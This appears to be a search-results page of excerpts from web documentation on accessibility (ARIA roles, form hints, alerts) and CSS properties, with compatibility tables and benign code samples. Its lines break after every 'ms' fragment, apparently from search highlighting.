ms; } tbody th, tbody td { padding: 5px; } tbody td { border: 1px solid #000; text-align: right; color: #767676; } tbody td[role="gridcell"] { color: #000; } tbody td[role="gridcell"]:hover, tbody td[role="gridcell"]:focus { background-color: #f6f6f6; outline: 3px solid blue; } javascript var selectables = document.queryselectorall('table td[role="gridcell"]'); selectables[0].set...
WAI-ARIA Roles - Accessibility
it is usually set on related content ite
ms such as comments, forum posts, newspaper articles or other ite
ms grouped together on one page.aria: banner rolea banner role represents general and informative content frequently placed at the beginning of the page.
...these elements could be images, code snippets, text, emojis, or other content that can be combined to deliver information in a visual manner.aria: list rolethe aria list role can be used to identify a list of ite
ms.
... it is normally used in conjunction with the listitem role, which is used to identify a list item contained inside the list.aria: listbox rolethe listbox role is used for lists from which a user may select one or more ite
ms which are static and, unlike html <select> elements, may contain images.aria: listitem rolethe aria listitem role can be used to identify an item inside a list of ite
ms.
Basic form hints - Accessibility
when implementing for
ms using traditional html form-related elements, it is important to provide labels for controls, and explicitly associate a label with its control.
...validate = function () { var emailelement = document.getelementbyid(emailfieldid); var valid = emailvalid(formdata.email); // returns true if valid, false otherwise emailelement.setattribute("aria-invalid", !valid); setelementbordercolour(emailelement, valid); // sets the border to red if second arg is false }; providing helpful error messages read how to use aria alerts to enhance for
ms.
... for more guidance on using aria for for
ms accessibility, see the wai-aria authoring practices document.
Alerts - Accessibility
examples of common proble
ms include e-mail addresses which are not valid, or a name field which does not contain at least a first name or a surname.
... below is example javascript code which could be inserted above the closing “head” tag: <script type="application/javascript"> function removeoldalert() { var oldalert = document.getelementbyid("alert"); if (oldalert){ document.body.removechild(oldalert); } } function addalert(a
msg) { removeoldalert(); var newalert = document.createelement("div"); newalert.setattribute("role", "alert"); newalert.setattribute("id", "alert"); var
msg = document.createtextnode(a
msg); newalert.appendchild(
msg); document.body.appendchild(newalert); } function checkvalidity(aid, asearchterm, a
msg) { var elem = document.getelementbyid(aid); var invalid = (elem.valu...
...e.indexof(asearchterm) < 0); if (invalid) { elem.setattribute("aria-invalid", "true"); addalert(a
msg); } else { elem.setattribute("aria-invalid", "false"); removeoldalert(); } } </script> the checkvalidity function the primary method in javascript used for form validation is the checkvalidity function.
Accessibility and Spacial Patterns - Accessibility
the phenomenon see
ms to be especially problematic for symbol/background combinations that differ only in the blue channel." distance between stripes photosensitive seizures may be caused by static images as well as animation.
... stripes and patterns are typical of the kinds of images that create proble
ms, and stripes have been studied most closely.
... for example, "how" an object looks when it is rotated, from different angles, how they look sliced, and how they relate to each other in space all make a difference in an ability to understand math in spatial ter
ms.
Keyboard-navigable JavaScript widgets - Accessibility
in exceptional circu
mstances, authors may want to redefine the order.
...note that disabled ite
ms within a grouped widget (such as menu ite
ms in a menu) should remain navigable using arrow keys.
... always draw the focus for tabindex="-1" ite
ms and elements that receive focus programatically ie will not automatically draw the focus outline for ite
ms that programatically receive focus.
Accessibility
wai-aria is a technology that can help with such proble
ms by adding in further semantics that browsers and assistive technologies can recognize and use to let users know what is going on.
... accessible multimedia another category of content that can create accessibility proble
ms is multimedia — video, audio, and image content need to be given proper textual alternatives so they can be understood by assistive technologies and their users.
... mobile accessibility with web access on mobile devices being so popular, and popular platfor
ms such as ios and android having fully-fledged accessibility tools, it is important to consider the accessibility of your web content on these platfor
ms.
:-moz-ui-invalid - CSS: Cascading Style Sheets
the :-moz-ui-invalid css pseudo-class represents any validated form element whose value isn't valid based on their validation constraints, in certain circu
mstances.
...required ite
ms have the pseudo-class applied only if the user changes them or attempts to submit an unchanged valid value.
... by default, gecko applies a style that creates a red "glow" (using the box-shadow property) around ite
ms, which have this pseudo-class applied.
:nth-last-child() - CSS: Cascading Style Sheets
/* selects every fourth element among any group of siblings, counting backwards from the last one */ :nth-last-child(4n) { color: lime; } note: this pseudo-class is essentially the same as :nth-child, except it counts ite
ms backwards from the end, not forwards from the beginning.
...in this example, list ite
ms turn red when there are at least three of them in a given list.
... html <h4>a list of four ite
ms (styled):</h4> <ol> <li>one</li> <li>two</li> <li>three</li> <li>four</li> </ol> <h4>a list of two ite
ms (unstyled):</h4> <ol> <li>one</li> <li>two</li> </ol> css /* if there are at least three list ite
ms, style them all */ li:nth-last-child(n+3), li:nth-last-child(n+3) ~ li { color: red; } result specifications specification status comment selectors level 4the definition of ':nth-last-child' in that specification.
:scope - CSS: Cascading Style Sheets
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internet:scopechrome full support 27edge full support 79firefox full support 32notes full support 32notes notes firefox 55 removes support for <style scoped> but not for the :scope pseudo-class, which is still suppo...
...to change preferences in firefox, visit about:config.opera android full support 15safari ios full support 7sa
msung internet android full support 1.5support in dom api such as in queryselector() and queryselectorall()chrome full support 27edge full support 79firefox full support 32ie no support ...
... 7webview android full support ≤37chrome android full support 27firefox android full support 32opera android full support 15safari ios full support 7sa
msung internet android full support 1.5legend full support full support no support no supportsee implementation notes.see implementation notes.user must explicitly enable this feature.user must explicitly enable this feature.
@counter-style - CSS: Cascading Style Sheets
if there are either no fallback syste
ms described or if the chain of fallback syste
ms are unable to represent a counter value, then it will ultimately fall back to the decimal style.
... @counter-style winners-list { system: fixed; symbols: url(gold-medal.svg) url(silver-medal.svg) url(bronze-medal.svg); suffix: " "; } additive-symbols while the symbols specified in the symbols descriptor is used for constructing marker representation by most algorith
ms, some syste
ms such as 'additive' rely on additive tuples described in this descriptor.
...speak-as>; ] | [ fallback: <counter-style-name>; ] }where <counter-style-name> = <custom-ident> examples specifying symbols with counter-style @counter-style circled-alpha { system: fixed; symbols: Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ; suffix: " "; } the above counter style rule can be applied to lists like this: .ite
ms { list-style: circled-alpha; } which will produce lists like this: Ⓐ one Ⓑ two Ⓒ three Ⓓ four Ⓔ five ...
Border-radius generator - CSS: Cascading Style Sheets
color: #fff; font-weight: bold; line-height: 14px; text-align: center; } .ui-input-slider-btn-set:hover { background-color: #379b4a; cursor: pointer; } /* * ui component */ /* checkbox */ .ui-checkbox { text-align: center; font-size: 16px; font-family: "segoe ui", arial, helvetica, sans-serif; line-height: 1.5em; color: #fff; -moz-user-select: none; -webkit-user-select: none; -
ms-user-select: none; user-select: none; } .ui-checkbox > input { display: none; } .ui-checkbox > label { font-size: 12px; padding: 0.333em 1.666em 0.5em; height: 1em; line-height: 1em; background-color: #888; background-image: url("https://mdn.mozillademos.org/files/5683/disabled.png"); background-position: center center; background-repeat: no-repeat; color: #fff; border-radius: 3p...
...; } .ui-checkbox > input:checked + label { background-image: url("https://mdn.mozillademos.org/files/5681/checked.png"); background-color: #379b4a; } body { max-width: 1000px; margin: 0 auto; font-family: "segoe ui", arial, helvetica, sans-serif; -moz-box-sizing: border-box; -webkit-box-sizing: border-box; box-sizing: border-box; -moz-user-select: none; -webkit-user-select: none; -
ms-user-select: none; user-select: none; } #container { width: 100%; -moz-box-sizing: border-box; -webkit-box-sizing: border-box; box-sizing: border-box; } /******************************************************************************/ /******************************************************************************/ /* * preview area */ #preview { height: 500px; border: 1px solid #ccc; ...
... bottom: 10px; left: 10px; } /** * controls */ #dimensions { width: 200px; color: #444; float:left; } #dimensions input { background: #555; color: #fff; border: none; border-radius: 3px; } #output { width: 500px; padding: 10px 0; margin: 10px 0; color: #555; text-align: center; border: 1px dashed #999; border-radius: 3px; -moz-user-select: text; -webkit-user-select: text; -
ms-user-select: text; user-select: text; float: right; } javascript content 'use strict'; /** * ui-inputslidermanager */ var inputslidermanager = (function inputslidermanager() { var subscribers = {}; var sliders = []; var inputcomponent = function inputcomponent(obj) { var input = document.createelement('input'); input.setattribute('type', 'text'); input.addeventlistener('c...
In Flow and Out of Flow - CSS: Cascading Style Sheets
the list is displayed using flexbox to arrange the ite
ms into a row, however it too is participating in block and inline layout - the container has an outside display type of block.
... taking an item out of flow all elements are in-flow apart from: floated ite
ms ite
ms with position: absolute (including position: fixed which acts in the same way) the root element (html) out of flow ite
ms create a new block formatting context (bfc) and therefore everything inside them can be seen as a mini layout, separate from the rest of the page.
... floated ite
ms in this example i have a div, and then two paragraphs.
OpenType font features guide - CSS: Cascading Style Sheets
sometimes it's substance, not just style there are some cases — like with font-variant-east-asian — that opentype features are directly tied to using different for
ms of certain glyphs, which can impact meaning and readability.
...these are capital letters sized to fit better amongst lower case letters and are generally used for acrony
ms and abbreviations.
... lining and oldstyle figures fractions, ordinals, and slashed zero east asian (font-variant-east-asian) this allows access to various alternate for
ms of glyphs within a font.
CSS Grid Layout - CSS: Cascading Style Sheets
css grid layout excels at dividing a page into major regions or defining the relationship in ter
ms of size, position, and layer, between parts of a control built from html primitives.
...for example, a grid container's child elements could position the
mselves so they actually overlap and layer, similar to css positioned elements.
...ite
ms have been placed onto the grid using line-based placement.
Split Navigation - CSS: Cascading Style Sheets
a navigation pattern where one or more elements are separated from the rest of the navigation ite
ms.
...we can use flexbox to achieve this, without needing to make the two sets of ite
ms into two separate flex containers.
... recipe download this example choices made this pattern combines auto margins with flexbox to split the ite
ms.
CSS Layout cookbook - CSS: Cascading Style Sheets
the css layout cookbook ai
ms to bring together recipes for common layout patterns, things you might need to implement in your own sites.
... flexbox list group with badges a list of ite
ms with a badge to display a count.
... grid layout grid wrapper for aligning grid content within a central wrapper, while also allowing ite
ms to break out.
Using Media Queries for Accessibility - CSS: Cascading Style Sheets
html <div class="animation">animated box</div> css .animation { -webkit-animation: vibrate 0.3s linear infinite both; animation: vibrate 0.3s linear infinite both; } @media (prefers-reduced-motion: reduce) { .animation { animation: none; } } high contrast mode the -
ms-high-contrast css media feature is a microsoft extension that describes whether the application is being displayed in high contrast mode, and with what color variation.
... syntax the -
ms-high-contrast media feature is specified as one of the following values.
... @media screen and (-
ms-high-contrast: active) { /* all high contrast styling rules */ } @media screen and (-
ms-high-contrast: black-on-white) { div { background-image: url('image-bw.png'); } } @media screen and (-
ms-high-contrast: white-on-black) { div { background-image: url('image-wb.png'); } } ...
Microsoft CSS extensions - CSS: Cascading Style Sheets
these extensions are prefixed with -
ms-.
... -
ms-accelerator -
ms-block-progression -
ms-content-zoom-chaining -
ms-content-zooming -
ms-content-zoom-limit -
ms-content-zoom-limit-max -
ms-content-zoom-limit-min -
ms-content-zoom-snap -
ms-content-zoom-snap-points -
ms-content-zoom-snap-type -
ms-filter -
ms-flow-from -
ms-flow-into -
ms-high-contrast-adjust -
ms-hyphenate-limit-chars -
ms-hyphenate-limit-lines -
ms-hyphenate-limit-zone -
ms-ime-align -
ms-overflow-style -
ms-scrollbar-3dlight-color -
ms-scrollbar-arrow-color -
ms-scrollbar-base-color -
ms-scrollbar-darkshadow-color -
ms-scrollbar-face-color -
ms-scrollbar-highlight-color -
ms-scrollbar-shadow-colo...
...r -
ms-scrollbar-track-color -
ms-scroll-chaining -
ms-scroll-limit -
ms-scroll-limit-x-max -
ms-scroll-limit-x-min -
ms-scroll-limit-y-max -
ms-scroll-limit-y-min -
ms-scroll-rails -
ms-scroll-snap-points-x -
ms-scroll-snap-points-y -
ms-scroll-snap-x -
ms-scroll-snap-y -
ms-scroll-translation -
ms-text-autospace -
ms-touch-select -
ms-wrap-flow -
ms-wrap-margin -
ms-wrap-through zoom pseudo-elements ::-
ms-browse ::-
ms-check ::-
ms-clear ::-
ms-expand ::-
ms-fill ::-
ms-fill-lower ::-
ms-fill-upper ::-
ms-reveal ::-
ms-thumb ::-
ms-ticks-after ::-
ms-ticks-before ::-
ms-tooltip ::-
ms-track ::-
ms-value media features -
ms-high-contrast css-related dom apis
mscontentzoomfactor
msgetpropertyenabled
msgetregioncontent
msrangecollection
msregionoverflow ...
Viewport concepts - CSS: Cascading Style Sheets
this article explains the concept of the viewport — what it is, its impact in ter
ms of css, svg, and mobile devices — and differentiates between the visual viewport and the layout viewport.
...in web browser ter
ms, it is generally the same as the browser window, excluding the ui, menu bar, etc.
...when the user pinch-zoo
ms the page, pops open a dynamic keyboard, or when a previously hidden address bar becomes visible, the visual viewport shrinks but the layout viewport is unchanged.
aspect-ratio - CSS: Cascading Style Sheets
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetaspect-ratio experimentalchrome partial support 79notes partial support 79notes notes chrome 79 adds internal support only for mapped valuesedge partial support 79notes partial support 79notes notes edge 79 adds internal support only for mapped valuesfirefox partial s...
... valueschrome android partial support 79notes partial support 79notes notes chrome 79 adds internal support only for mapped valuesfirefox android no support noopera android no support nosafari ios no support nosa
msung internet android no support nointernal mapping of width and height experimentalchrome full support 79edge full support 79firefox full support 71 full support 71 ...
... nowebview android full support 79chrome android full support 79firefox android no support noopera android no support nosafari ios no support nosa
msung internet android no support nolegend full support full support partial support partial support no support no supportexperimental.
attr() - CSS: Cascading Style Sheets
30.5
ms).
... s,
ms <time> the attribute value is parsed as a css <number>, that is without the unit (e.g.
...)where <type-or-unit> = string | color | url | integer | number | length | angle | time | frequency | cap | ch | em | ex | ic | lh | rlh | rem | vb | vi | vw | vh | vmin | vmax | mm | q | cm | in | pt | pc | px | deg | grad | rad | turn |
ms | s | hz | khz | % examples content property html <p data-foo="hello">world</p> css [data-foo]::before { content: attr(data-foo) " "; } result <color> value html <div class="background" data-background="lime">background expected to be red if your browser does not support advanced usage of attr()</div> css .background { height: 100vh; } .background { background-color: re...
background-position-x - CSS: Cascading Style Sheets
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetbackground-position-xchrome full support 1edge full support 12firefox full support 49ie full support 6opera full support 15safari full support ...
... 1webview android full support ≤37chrome android full support 18firefox android full support 49opera android full support 18safari ios full support 1sa
msung internet android full support 1.0two-value syntax (support for offsets from any edge)chrome no support noedge no support 12 — 79firefox full support 49ie full support 9opera ...
...rt nowebview android no support nochrome android no support nofirefox android full support 49opera android no support nosafari ios no support nosa
msung internet android no support nolegend full support full support no support no support see also background-position background-position-y background-position-inline background-position-block using multiple b...
background-position-y - CSS: Cascading Style Sheets
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetbackground-position-ychrome full support 1edge full support 12firefox full support 49ie full support 6opera full support 15safari full support ...
... 1webview android full support ≤37chrome android full support 18firefox android full support 49opera android full support 14safari ios full support 1sa
msung internet android full support 1.0two-value syntax (support for offsets from any edge)chrome no support noedge no support 12 — 79firefox full support 49ie full support 9opera ...
...rt nowebview android no support nochrome android no support nofirefox android full support 49opera android no support nosafari ios no support nosa
msung internet android no support nolegend full support full support no support no support see also background-position background-position-x background-position-inline background-position-block using multiple b...
background-size - CSS: Cascading Style Sheets
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetbackground-sizechrome full support 3 full support 3 full support 1prefixed notes prefixed implemented with the vendor prefix: -webkit-notes webkit-based browsers originally implemented an older draft of css3 background-size in which an omitted second va...
... full support 4.2 full support 1prefixed notes prefixed implemented with the vendor prefix: -webkit-notes webkit-based browsers originally implemented an older draft of css3 background-size in which an omitted second value is treated as duplicating the first value; this draft does not include the contain or cover keywords.sa
msung internet android full support 1.0 full support 1.0 full support 1.0prefixed notes prefixed implemented with the vendor prefix: -webkit-notes webkit-based browsers originally implemented an older draft of css3 background-size in which an omitted second value is ...
... 5webview android full support 37chrome android full support 18firefox android full support 4opera android full support 14safari ios full support 4.2sa
msung internet android full support 1.0legend full support full supportsee implementation notes.see implementation notes.requires a vendor prefix or different name for use.requires a vendor prefix or different name for use.
box-align - CSS: Cascading Style Sheets
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetbox-align deprecatednon-standardchrome full support 1prefixed full support 1prefixed prefixed implemented with the vendor prefix: -webkit-edge full support 12prefixed full support 12prefixed prefixed implem...
...roid full support 14prefixed full support 14prefixed prefixed implemented with the vendor prefix: -webkit-safari ios full support 1prefixed full support 1prefixed prefixed implemented with the vendor prefix: -webkit-sa
msung internet android full support 1.0prefixed full support 1.0prefixed prefixed implemented with the vendor prefix: -webkit-legend full support full support no support no supportnon-standard.
... see also align-ite
ms, box-orient, box-direction, box-pack ...
clear - CSS: Cascading Style Sheets
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetclearchrome full support 1edge full support 12firefox full support 1ie full support 4opera full support 3.5safari full support ...
... 1webview android full support 1chrome android full support 18firefox android full support 4opera android full support 10.1safari ios full support 1sa
msung internet android full support 1.0flow-relative values inline-start and inline-endchrome no support noedge no support nofirefox full support 55ie no support noopera no suppo...
...rt nowebview android no support nochrome android no support nofirefox android full support 55opera android no support nosafari ios no support nosa
msung internet android no support nolegend full support full support no support no support see also css basic box model ...
content - CSS: Cascading Style Sheets
the counter() function has two for
ms: 'counter(name)' or 'counter(name, style)'.
... the counters() function also has two for
ms: 'counters(name, string)' or 'counters(name, string, style)'.
... html <a href="http://www.mozilla.org/">mozilla home page</a> css a::before { content: url("https://mozorg.cdn.mozilla.net/media/img/favicon.ico") / " mozilla: "; font: x-small arial, sans-serif; color: gray; } result targeting classes this example inserts additional text after special ite
ms in a list.
display - CSS: Cascading Style Sheets
inline the element generates one or more inline element boxes that do not generate line breaks before or after the
mselves.
... valid <display-box> values: contents these elements don't produce a specific box by the
mselves.
... adapting to the new two-value syntax of display css flow layout (display: block, display: inline) block and inline layout in normal flow flow layout and overflow flow layout and writing modes formatting contexts explained in flow and out of flow display: flex basic concepts of flexbox aligning ite
ms in a flex container controlling ratios of flex ite
ms along the main axis cross-browser flexbox mixins mastering wrapping of flex ite
ms ordering flex ite
ms relationship of flexbox to other layout methods backwards compatibility of flexbox typical use cases of flexbox display: grid basic concepts of grid layout relationship to other layout methods line-based placement grid template a...
flex-wrap - CSS: Cascading Style Sheets
the flex-wrap css property sets whether flex ite
ms are forced onto one line or can wrap onto multiple lines.
... values the following values are accepted: nowrap the flex ite
ms are laid out in a single line which may cause the flex container to overflow.
... wrap the flex ite
ms break into multiple lines.
font-family - CSS: Cascading Style Sheets
"open sans", "fira sans", "lucida sans", "lucida sans unicode", "trebuchet
ms", "liberation sans", "nimbus sans l", sans-serif.
... fangsong a particular style of chinese characters that are between serif-style song and cursive-style kai for
ms.
...this is some example fangsong text with the chinese characters for "fangsong" in traditional and simple for
ms, respectively: 仿宋體 仿宋体.
font-variant-position - CSS: Cascading Style Sheets
it also applies to ::first-letter and ::first-line.inheritedyescomputed valueas specifiedanimation typediscrete formal syntax normal | sub | super examples setting superscript and subscript for
ms html <p class="normal">normal!</p> <p class="super">super!</p> <p class="sub">sub!</p> css p { display: inline; } .normal { font-variant-position: normal; } .super { font-variant-position: super; } .sub { font-variant-position: sub; } result specifications specification status comment css fonts module level 3the definition of 'font-variant-positio...
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetfont-variant-positionchrome no support noedge no support nofirefox full support 34 full support 34 no support 24 — 34disabled disabled from version 24 until version 34 (exclusive):...
...to change preferences in firefox, visit about:config.opera android no support nosafari ios no support nosa
msung internet android no support nolegend full support full support no support no supportuser must explicitly enable this feature.user must explicitly enable this feature.
grid-auto-columns - CSS: Cascading Style Sheets
max-content is a keyword representing the largest maximal content contribution of the grid ite
ms occupying the grid track.
... min-content is a keyword representing the largest minimal content contribution of the grid ite
ms occupying the grid track.
...as a minimum it represents the largest minimum size (as specified by min-width/min-height) of the grid ite
ms occupying the grid track.
grid-auto-rows - CSS: Cascading Style Sheets
max-content is a keyword representing the largest maximal content contribution of the grid ite
ms occupying the grid track.
... min-content is a keyword representing the largest minimal content contribution of the grid ite
ms occupying the grid track.
...as a minimum it represents the largest minimum size (as specified by min-width/min-height) of the grid ite
ms occupying the grid track.
grid-column - CSS: Cascading Style Sheets
internet explorer issues ie11 does not support automatic placement of grid ite
ms.
... all ite
ms end up in the first row/col of the grid unless explicitly annotated with -
ms-grid-column and -
ms-grid-row.
... formal definition initial valueas each of the properties of the shorthand:grid-column-start: autogrid-column-end: autoapplies togrid ite
ms and absolutely-positioned boxes whose containing block is a grid containerinheritednocomputed valueas each of the properties of the shorthand:grid-column-start: as specifiedgrid-column-end: as specifiedanimation typediscrete formal syntax <grid-line> [ / <grid-line> ]?where <grid-line> = auto | <custom-ident> | [ <integer> && <custom-ident>?
grid-row - CSS: Cascading Style Sheets
internet explorer issues ie11 does not support automatic placement of grid ite
ms.
... all ite
ms end up in the first row/col of the grid unless explicitly annotated with -
ms-grid-column and -
ms-grid-row.
... formal definition initial valueas each of the properties of the shorthand:grid-row-start: autogrid-row-end: autoapplies togrid ite
ms and absolutely-positioned boxes whose containing block is a grid containerinheritednocomputed valueas each of the properties of the shorthand:grid-row-start: as specifiedgrid-row-end: as specifiedanimation typediscrete formal syntax <grid-line> [ / <grid-line> ]?where <grid-line> = auto | <custom-ident> | [ <integer> && <custom-ident>?
grid-template-columns - CSS: Cascading Style Sheets
max-content is a keyword representing the largest maximal content contribution of the grid ite
ms occupying the grid track.
... min-content is a keyword representing the largest minimal content contribution of the grid ite
ms occupying the grid track.
...as a minimum it represents the largest minimum size (as specified by min-width/min-height) of the grid ite
ms occupying the grid track.
grid-template-rows - CSS: Cascading Style Sheets
max-content is a keyword representing the largest maximal content contribution of the grid ite
ms occupying the grid track.
... min-content is a keyword representing the largest minimal content contribution of the grid ite
ms occupying the grid track.
...as a minimum it represents the largest minimum size (as specified by min-width/min-height) of the grid ite
ms occupying the grid track.
letter-spacing - CSS: Cascading Style Sheets
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetletter-spacingchrome full support 1edge full support 12firefox full support 1ie full support 4opera full support 3.5safari full support ...
... 1webview android full support ≤37chrome android full support 18firefox android full support 4opera android full support 10.1safari ios full support 1sa
msung internet android full support 1.0svg supportchrome full support 1edge full support 12firefox full support 72ie full support 9opera full support ...
... 5.1webview android full support ≤37chrome android full support 18firefox android no support noopera android full support 10.1safari ios full support 5.1sa
msung internet android full support 1.0legend full support full support no support no support see also font-kerning ...
list-style-image - CSS: Cascading Style Sheets
note: this property is applied to list ite
ms, i.e.
...because this property is inherited, it can be set on the parent element (normally <ol> or <ul>) to let it apply to all list ite
ms.
... formal definition initial valuenoneapplies tolist ite
msinheritedyescomputed valuenone or the image with its uri made absoluteanimation typediscrete formal syntax <url> | none examples setting list item images html <ul> <li>item 1</li> <li>item 2</li> </ul> css ul { list-style-image: url("https://mdn.mozillademos.org/files/11981/starsolid.gif"); } result specifications specification status comment css lis...
list-style-position - CSS: Cascading Style Sheets
note: this property is applied to list ite
ms, i.e., elements with display: list-item;.
...because this property is inherited, it can be set on the parent element (normally <ol> or <ul>) to let it apply to all list ite
ms.
... formal definition initial valueoutsideapplies tolist ite
msinheritedyescomputed valueas specifiedanimation typediscrete formal syntax inside | outside examples setting list item position html <ul class="inside">list 1 <li>list item 1-1</li> <li>list item 1-2</li> <li>list item 1-3</li> <li>list item 1-4</li> </ul> <ul class="outside">list 2 <li>list item 2-1</li> <li>list item 2-2</li> <li>list item 2-3</li> <li>list item 2-4</li> </...
list-style-type - CSS: Cascading Style Sheets
moreover, because this property is inherited, it can be set on a parent element (commonly <ol> or <ul>) to make it apply to all list ite
ms.
...this ensures the design is unaffected by the bug fix and that list ite
ms are not improperly described.
... ul { list-style: none; } ul li::before { content: "\200b"; } voiceover and list-style-type: none – unfettered thoughts mdn understanding wcag, guideline 1.3 explanations understanding success criterion 1.3.1 | w3c understanding wcag 2.0 formal definition initial valuediscapplies tolist ite
msinheritedyescomputed valueas specifiedanimation typediscrete formal syntax <counter-style> | <string> | nonewhere <counter-style> = <counter-style-name> | symbols()where <counter-style-name> = <custom-ident> examples setting list item markers html list 1 <ol class="normal"> <li>hello</li> <li>world</li> <li>what's up?</li> </ol> list 2 <ol class="shortcut"> <li>looks</li> <li>like</li> <li>the</li> <li>same</li> </ol> css ol.normal { list-style-type: upper-alpha...
minmax() - CSS: Cascading Style Sheets
max-content represents the largest max-content contribution of the grid ite
ms occupying the grid track.
... min-content represents the largest min-content contribution of the grid ite
ms occupying the grid track.
...as a minimum it represents the largest minimum size (as specified by min-width/min-height) of the grid ite
ms occupying the grid track.
mix-blend-mode - CSS: Cascading Style Sheets
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetmix-blend-modechrome full support 41edge full support 79firefox full support 32ie no support noopera full support 28safari full support ...
... 8webview android full support 41chrome android full support 41firefox android full support 32opera android full support 28safari ios full support 8sa
msung internet android full support 4.0on svg elementschrome full support 41edge full support 79firefox full support 32ie no support noopera full support ...
...rt nowebview android no support nochrome android no support nofirefox android full support 32opera android no support nosafari ios no support nosa
msung internet android no support nolegend full support full support no support no support see also <blend-mode> background-blend-mode ...
object-fit - CSS: Cascading Style Sheets
<img class="scale-down" src="https://udn.realityripple.com/samples/ae/248a9938d9.png" alt="mdn logo"> <img class="scale-down narrow" src="https://udn.realityripple.com/samples/ae/248a9938d9.png" alt="mdn logo"> </section> css h2 { font-family: courier new, monospace; font-size: 1em; margin: 1em 0 0.3em; } div { display: flex; flex-direction: column; flex-wrap: wrap; align-ite
ms: flex-start; height: 940px; } img { width: 150px; height: 100px; border: 1px solid #000; } .narrow { width: 100px; height: 150px; margin-top: 10px; } .fill { object-fit: fill; } .contain { object-fit: contain; } .cover { object-fit: cover; } .none { object-fit: none; } .scale-down { object-fit: scale-down; } result specifications specification stat...
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetobject-fitchrome full support 31edge full support 16notes full support 16notes notes edge supports object-fit on img elements only.
...refox android full support 36opera android full support 19 full support 19 full support 12prefixed prefixed implemented with the vendor prefix: -o-safari ios full support 10sa
msung internet android full support 2.0legend full support full support no support no supportsee implementation notes.see implementation notes.requires a vendor prefix or different name for use.requires a vendor prefix ...
object-position - CSS: Cascading Style Sheets
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetobject-positionchrome full support 31edge full support 16firefox full support 36ie no support noopera full support 19 full support ...
...refox android full support 36opera android full support 19 full support 19 full support 12prefixed prefixed implemented with the vendor prefix: -o-safari ios full support 10sa
msung internet android full support 2.0support for three-value syntax of positionchrome no support 31 — 68edge no support 16 — 79firefox no support 36 — 70ie no support noopera no support 19 — 55 ...
...port 31 — 68firefox android full support 36opera android no support 19 — 48 no support 19 — 48 full support 12prefixed prefixed implemented with the vendor prefix: -o-safari ios full support 10sa
msung internet android no support 2.0 — 10.0legend full support full support no support no supportrequires a vendor prefix or different name for use.requires a vendor prefix or different name for use.
order - CSS: Cascading Style Sheets
ite
ms in a container are sorted by ascending order value and then by their source code order.
... flexbox & the keyboard navigation disconnect — tink source order matters | adrian roselli mdn understanding wcag, guideline 1.3 explanations understanding success criterion 1.3.2 | w3c understanding wcag 2.0 formal definition initial value0applies toflex ite
ms and absolutely-positioned flex container childreninheritednocomputed valueas specifiedanimation typean integer formal syntax <integer> examples ordering ite
ms in a flex container this example uses css to create a classic two-sidebar layout surrounding a content block.
... candidate recommendation initial definition initial value0applies toflex ite
ms and absolutely-positioned flex container childreninheritednocomputed valueas specifiedanimation typean integer ...
orphans - CSS: Cascading Style Sheets
(the paragraph continues on a following page.) syntax values <integer> the minimum number of lines that can stay by the
mselves at the bottom of a fragment before a fragmentation break.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetorphanschrome full support 25edge full support 12firefox no support noie full support 8opera full support 9.2safari full support ...
... 1.3webview android full support ≤37chrome android full support 25firefox android no support noopera android full support 14safari ios full support 1sa
msung internet android full support 1.5legend full support full support no support no support see also widows paged media ...
paint() - CSS: Cascading Style Sheets
in this example, we passed two arguments: whether the background-image on a group of list ite
ms is filled or just has a stroke outline, and the width of that outline: <ul> <li>item 1</li> <li>item 2</li> <li>item 3</li> <li>item 4</li> <li>item 5</li> <li>item 6</li> <li>item 7</li> <li>item 8</li> <li>item 9</li> <li>item 10</li> <li>item 11</li> <li>item 12</li> <li>item 13</li> <li>item 14</li> <li>item 15</li> <li>item 16<...
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetpaint()chrome full support 65edge full support 79firefox no support noie no support noopera full support 52safari no support ...
... nowebview android full support 65chrome android full support 65firefox android no support noopera android full support 47safari ios no support nosa
msung internet android full support 9.2legend full support full support no support no support see also paintworklet css painting api using the css painting api <image> canvas ...
ruby-position - CSS: Cascading Style Sheets
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetruby-position experimentalchrome no support noedge no support 12 — 79firefox full support 38ie no support nonotes no support nonotes notes internet explorer 9 and later support an...
... nosafari ios no support nonotes no support nonotes notes safari implements a non-standard, prefixed, version of ruby-position, -webkit-ruby-position: it has two properties: before and after (both equivalent, for ltr and rtl scripts to the standard over value used with ruby-align: start).sa
msung internet android no support nointer-character experimentalchrome no support noedge no support nofirefox no support noie no support noopera no support ...
...port nowebview android no support nochrome android no support nofirefox android no support noopera android no support nosafari ios no support nosa
msung internet android no support nolegend full support full support no support no supportexperimental.
